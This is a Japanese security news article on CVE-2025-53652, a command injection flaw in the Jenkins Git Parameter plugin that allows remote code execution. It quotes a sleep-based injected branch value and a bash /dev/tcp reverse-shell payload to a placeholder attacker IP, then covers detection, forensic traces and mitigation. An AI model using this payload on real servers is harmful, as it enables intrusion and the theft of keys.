Jenkins の Git Plugin における深刻な脆弱性 CVE-2025-53652:コマンド・インジェクションの可能性

1,500 Jenkins Servers Vulnerable to Command Injection via Git Parameter Plugin

2025/08/12 gbhackers — Jenkins が公開した、31 件のプラグイン脆弱性には、CVE-2025-53652 (別名 SECURITY-3419) が含まれる。当初、この脆弱性の深刻度は Medium と評価されていた。Git パラメータ・プラグインに影響を及ぼすものであり、”攻撃者に対して Git パラメータへの任意の値の挿入を許す” とだけ説明されていたが、深刻な悪用の可能性を過小に評価していた。

その後の詳細な分析により、このパラメータ・インジェクション脆弱性の原因は、シェル・コマンドにおけるユーザー入力プラグインの未検証にあり、完全なリモート・コード実行 (RCE) にエスカレートする可能性があることが判明した。

Jenkins Git パラメータ・プラグインにおける深刻な脆弱性

パラメータ化されたビルドの管理において、広く利用される Git パラメータ・プラグインは、任意のパラメータ値を受け入れるが、その中には、rev-parse や fetch などの Git コマンドがダイレクトに挿入される。パイプライン・ジョブが master などのブランチで動作するように設定されている場合には、通常のビルドは問題なく実行される。

しかし、ブランチ・パラメータとして “$(sleep 80)” のような、悪意の値を指定する攻撃者は、Git のフェッチ・プロセス内で実行されるコマンドを挿入し、目に見える遅延を発生させることが可能となる。このコマンド・インジェクションは、jenkins ユーザーにより生成される、”sleep” 子プロセスを表示するための、”ps faux” などのプロセス監視ツールで確認できる。

この脆弱性は、入力に対する不十分なサニタイズに起因し、Git がコマンド実行の一部として解釈するシェル・メタ文字の埋め込みを、攻撃者に対して許すことになる。

実用的な影響を実証するために、研究者たちが作成したのは、リバース・シェルを起動する “curl” ベースのエクスプロイトである。”/job/[buildName]/build” エンドポイントに対して、”$(bash -c ‘bash &> /dev/tcp/[attacker_ip]/[port] <&1’)” を取り込んだ、特別な形式の JSON ペイロードを送信すると、攻撃者は Jenkins ユーザーとして接続を確立できる。

このエクスプロイトが成功すると、”201 Created” レスポンスが返され、”netcat” でキャッチ可能なリバース・シェルにより “~/secrets” 内の “master.key” などの機密ファイルへのアクセスが可能になる。

このエクスプロイトを実行する前提として、ビルド名/有効なセッション Cookie/Jenkins-Crumb CSRF トークンが必要になる。ただし、それらは、認証されていないインスタンスからであっても、簡単なリクエストで取得できる。

Jenkins はデフォルトで認証を必要とするが、これは CVSS ベクターの “Privileges Required: None” と一致するものだ。つまり、この脆弱性は、認証が無効化されているコンフィグや、オープン登録が有効化されているコンフィグにおいて危険であり、未認証の RCE の脅威が生じる可能性がある。

緩和策の課題

VulnCheck のレポートによると、FOFA スキャンの結果として判明したのは、インターネットに接続された 10 万台以上の Jenkins サーバが認証を必要とするが、約 15,000 台は完全に未認証の状態にあり、約 1,000 台はオープン登録を許可していることだ。

これらのサーバにおけるプラグインのインストールベースは、完全には把握されていないが、広範囲にわたる悪用のリスクが高まっている。

未認証の環境であっても、攻撃者はセッション・アーティファクトを取得する必要があるが、ルートエンド・ポイントとビルド・エンド・ポイントをターゲットとする、基本的な curl コマンドで、それらを取得できる。つまり、この障壁は低いと言える。

ネットワーク監視による検出は可能であり、”/job/…/build” パスへの POST リクエストにおいて、リクエスト本文に疑わしいパターン (パラメータ値にエンコードされたシェル・メタ文字など) が取り込まれて場合に、VulnCheck の Suricata ルールは警告を発する。

ディスク上の痕跡については、”~/jobs/[buildName]/builds/#/log” 下のジョブ・ログに残るため、”git rev-parse” 出力に “$(sleep 80)” といった挿入されたコマンドが表示される。したがって、それらは、ポスト・エクスプロイトのフォレンジック証拠となる。

Command Injection
 setting the branch to $(sleep 80)

Jenkins は古いプラグインに対して、アップグレード対象であることを示すフラグを付けるが、CVE-2025-53652 のパッチには、検証の無効化を設定するフラグ (-Dnet.uaznia.lukanus.hudson.plugins.gitparameter.GitParameterDefinition.allowAnyParameterValue=true) が含まれているため、アップデート後もシステムが脆弱な状態を引きずる可能性がある。

それが浮き彫りにするのは、アップグレード後の徹底的な監査の必要性である。結論として言えるのは、影響が少なく見えるパラメータ・インジェクションとして始まったものが、Git の RCE 用 GTFOBin としての汎用性を悪用する、深刻なコマンド・インジェクション・ベクターであったことだ。

大規模な悪用は予想されないが、標的型攻撃やラテラル・ムーブメントのシナリオにおいては、深刻なリスクをもたらすとされる。したがって、管理者にとって必要となるのは、優先的なパッチ適用と、認証の有効化に加えて、侵害の兆候の監視である。